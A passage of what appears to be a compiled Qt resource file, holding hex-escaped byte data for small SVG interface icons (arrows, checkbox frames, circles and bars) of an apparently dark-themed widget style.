\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x33\x20\x7a\x22\
\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\x31\x33\x36\x33\x42\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x2a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x30\x2e\x39\x31\
\x37\x36\x39\x37\x31\x38\x20\x34\x2e\x35\x2c\x34\x2e\x32\x32\x38\
\x30\x31\x38\x32\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x30\
\x2e\x39\x31\x36\x32\x37\x36\x34\x38\x20\x63\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\
\x37\x30\x32\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\
\x30\x32\x30\x32\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\
\x2e\x34\x31\x33\x34\x33\x34\x39\x32\x20\x30\x2c\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x32\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\
\x32\x38\x33\x2c\x33\x2e\x35\x39\x37\x33\x31\x30\x32\x20\x30\x2c\
\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\
\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\
\x39\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\
\x20\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x31\x2e\x34\x38\x37\
\x34\x31\x33\x34\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\
\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\
\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x31\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x31\x20\x30\x2e\x35\x37\
\x31\x31\x37\x34\x39\x2c\x30\x2e\x30\x30\x31\x34\x32\x20\x7a\x22\
\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\x64\x61\x65\x65\x39\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\xf4\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x30\x22\x3e\x0a\
\x20\x20\x3c\x70\x61\x74\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\
\x30\x62\x30\x62\x30\x22\x20\x64\x3d\x22\x4d\x32\x32\x2e\x31\x2c\
\x31\x30\x32\x32\x2e\x31\x4c\x2d\x32\x32\x2e\x31\x2c\x39\x37\x37\
\x2e\x39\x6c\x31\x30\x30\x30\x2d\x31\x30\x30\x30\x4c\x31\x30\x32\
\x32\x2e\x31\x2c\x32\x32\x2e\x31\x5a\x6d\x32\x32\x30\x2c\x33\x30\
\x4c\x31\x39\x37\x2e\x39\x2c\x31\x30\x30\x37\x2e\x39\x6c\x31\x30\
\x30\x30\x2d\x31\x30\x30\x30\x4c\x31\x32\x34\x32\x2e\x31\x2c\x35\
\x32\x2e\x31\x5a\x6d\x32\x35\x30\x2c\x30\x4c\x34\x34\x37\x2e\x39\
\x2c\x31\x30\x30\x37\x2e\x39\x6c\x31\x30\x30\x30\x2d\x31\x30\x30\
\x30\x4c\x31\x34\x39\x32\x2e\x31\x2c\x35\x32\x2e\x31\x5a\x6d\x32\
\x35\x30\x2c\x30\x4c\x36\x39\x37\x2e\x39\x2c\x31\x30\x30\x37\x2e\
\x39\x6c\x31\x30\x33\x30\x2d\x31\x30\x33\x30\x4c\x31\x37\x37\x32\
\x2e\x31\x2c\x32\x32\x2e\x31\x5a\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\
\x67\x3e\x0a\
\x00\x00\x01\xec\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x33\x64\x61\x65\x65\x39\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x33\x64\x61\x65\x65\x39\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x37\x2e\x31\x20\x68\x2d\
\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\x64\
\x61\x65\x65\x39\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\
\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x31\x33\x20\x68\x2d\
\x38\x20\x76\x2d\x38\x20\x68\x30\x2e\x39\x20\x76\x37\x2e\x31\x20\
\x68\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\
\x64\x61\x65\x65\x39\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\
\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x35\x20\x4c\x20\
\x35\x2c\x31\x33\x20\x76\x2d\x38\x20\x68\x38\x20\x7a\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x33\x64\x61\x65\x65\x39\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x52\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x31\x32\x22\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x34\x62\x34\x62\x34\
\x62\x22\x20\x64\x3d\x22\x4d\x35\x2e\x35\x2c\x33\x48\x31\x32\x2e\
\x35\x4c\x39\x2c\x39\x5a\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x00\xfe\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x34\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x36\x20\x36\
\x34\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x36\
\x20\x36\x34\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x72\x65\
\x63\x74\x20\x66\x69\x6c\x6c\x3d\x22\x23\x37\x36\x37\x39\x37\x63\
\x22\x20\x78\x3d\x22\x32\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\
\x64\x74\x68\x3d\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\
\x36\x32\x2e\x35\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x37\x36\x37\x39\x37\x63\x22\x20\x78\
\x3d\x22\x39\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\
\x3d\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x32\x2e\
\x35\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\x0a\
\x00\x00\x01\x55\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x30\x20\x32\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x32\x30\
\x20\x32\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\
\x30\x20\x31\x2c\x30\x20\x31\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\
\x20\x61\x38\x2e\x31\x2c\x38\x2e\x31\x20\x30\x20\x31\x2c\x31\x20\
\x2d\x31\x36\x2e\x32\x2c\x30\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x33\x31\x33\x36\x33\x42\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\
\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\x30\x20\x31\x2c\x31\x20\x31\
\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\x20\x61\x38\x2e\x31\x2c\x38\
\x2e\x31\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x36\x2e\x32\x2c\x30\
\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\
\x31\x33\x36\x33\x42\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x3c\x2f\x73\
\x76\x67\x3e\x0a\
\x00\x00\x00\x5a\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x38\x31\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x63\x62\x66\x63\
\x32\x22\x20\x78\x3d\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\x3d\
\x22\x32\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x22\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x35\x2e\x30\x38\
\x33\x33\x30\x32\x38\x20\x34\x2e\x35\x2c\x31\x2e\x37\x37\x32\x39\
\x38\x31\x38\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x35\x2e\
\x30\x38\x34\x37\x32\x33\x35\x20\x63\x20\x30\x2e\x31\x35\x37\x37\
\x31\x32\x35\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\
\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\x2c\x2d\
\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x39\x20\x30\x2c\x30\x20\x30\
\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\
\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\x20\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x34\x2e\x35\x31\x33\x35\
\x38\x36\x36\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\
\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\x35\x37\
\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\
\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x20\x30\x2e\x31\x35\x37\
\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x20\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x36\x32\x38\
\x31\x33\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x33\x31\x33\x36\x33\x42\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x02\x99\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x35\x34\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x35\x34\x20\x31\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x35\x34\
\x20\x31\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x72\x65\
\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\x64\x61\
\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\x31\x22\x20\x78\
\x3d\x22\x31\x36\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\
\x68\x3d\x22\x34\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x38\x22\
\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x4c\
\x69\x67\x68\x74\x31\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\
\x3d\x22\x4c\x69\x67\x68\x74\x31\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\x31\x36\x22\x20\
\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x33\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x22\x2f\x3e\x0a\x20\x20\x3c\
\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\x32\x22\x20\
\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\x6b\x32\
\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\x31\x22\
\x20\x78\x3d\x22\x32\x35\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\
\x64\x74\x68\x3d\x22\x34\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\
\x38\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\
\x22\x4c\x69\x67\x68\x74\x32\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\
\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\x32\x22\x20\x66\x69\x6c\x6c\
\x3d\x22\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\x32\x35\
\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x33\
\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x22\x2f\x3e\x0a\x20\
\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\x33\
\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\
\x6b\x33\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\
\x31\x22\x20\x78\x3d\x22\x33\x34\x22\x20\x79\x3d\x22\x31\x22\x20\
\x77\x69\x64\x74\x68\x3d\x22\x34\x22\x20\x68\x65\x69\x67\x68\x74\
\x3d\x22\x38\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\
\x64\x3d\x22\x4c\x69\x67\x68\x74\x33\x22\x20\x64\x61\x74\x61\x2d\
\x6e\x61\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\x33\x22\x20\x66\x69\
\x6c\x6c\x3d\x22\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\
\x33\x34\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\
\x22\x33\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x22\x2f\x3e\
\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x90\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x30\x22\x20\x3e\
\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x32\x35\x30\
\x2c\x35\x30\x30\x20\x4c\x20\x35\x30\x30\x2c\x37\x35\x30\x20\x4c\
\x20\x37\x35\x30\x2c\x35\x30\x30\x20\x4c\x20\x35\x30\x30\x2c\x32\
\x35\x30\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\
\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x23\x61\x32\x61\x32\x61\
\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\
\x22\x35\x30\x22\x20\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x5e\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x22\x20\x68\x65\
\x69\x67\x68\x74\x3d\x22\x39\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\
\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x30\x30\x30\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x20\x64\x3d\x22\x4d\x31\x2c\x38\x56\x31\x4c\x35\x2c\x34\x2e\
\x35\x5a\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xab\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x30\x20\x32\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x32\x30\
\x20\x32\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\
\x30\x20\x31\x2c\x30\x20\x31\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\
\x20\x61\x38\x2e\x31\x2c\x38\x2e\x31\x20\x30\x20\x31\x2c\x31\x20\
\x2d\x31\x36\x2e\x32\x2c\x30\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x35\x31\x63\x32\x66\x63\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\
\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\x30\x20\x31\x2c\x31\x20\x31\
\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\x20\x61\x38\x2e\x31\x2c\x38\
\x2e\x31\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x36\x2e\x32\x2c\x30\
\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x35\
\x31\x63\x32\x66\x63\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\
\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x34\x2c\x31\x30\x61\x36\x2c\
\x36\x20\x30\x20\x31\x2c\x30\x20\x31\x32\x2c\x30\x61\x36\x2c\x36\
\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x32\x2c\x30\x22\x20\x66\x69\
\x6c\x6c\x3d\x22\x23\x35\x31\x63\x32\x66\x63\x22\x20\x66\x69\x6c\
\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\
\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x22\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x35\x2e\x30\x38\
\x33\x33\x30\x32\x38\x20\x34\x2e\x35\x2c\x31\x2e\x37\x37\x32\x39\
\x38\x31\x38\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x35\x2e\
\x30\x38\x34\x37\x32\x33\x35\x20\x63\x20\x30\x2e\x31\x35\x37\x37\
\x31\x32\x35\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\
\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\x2c\x2d\
\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x39\x20\x30\x2c\x30\x20\x30\
\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\
\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\x20\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x34\x2e\x35\x31\x33\x35\
\x38\x36\x36\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\
\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\x35\x37\
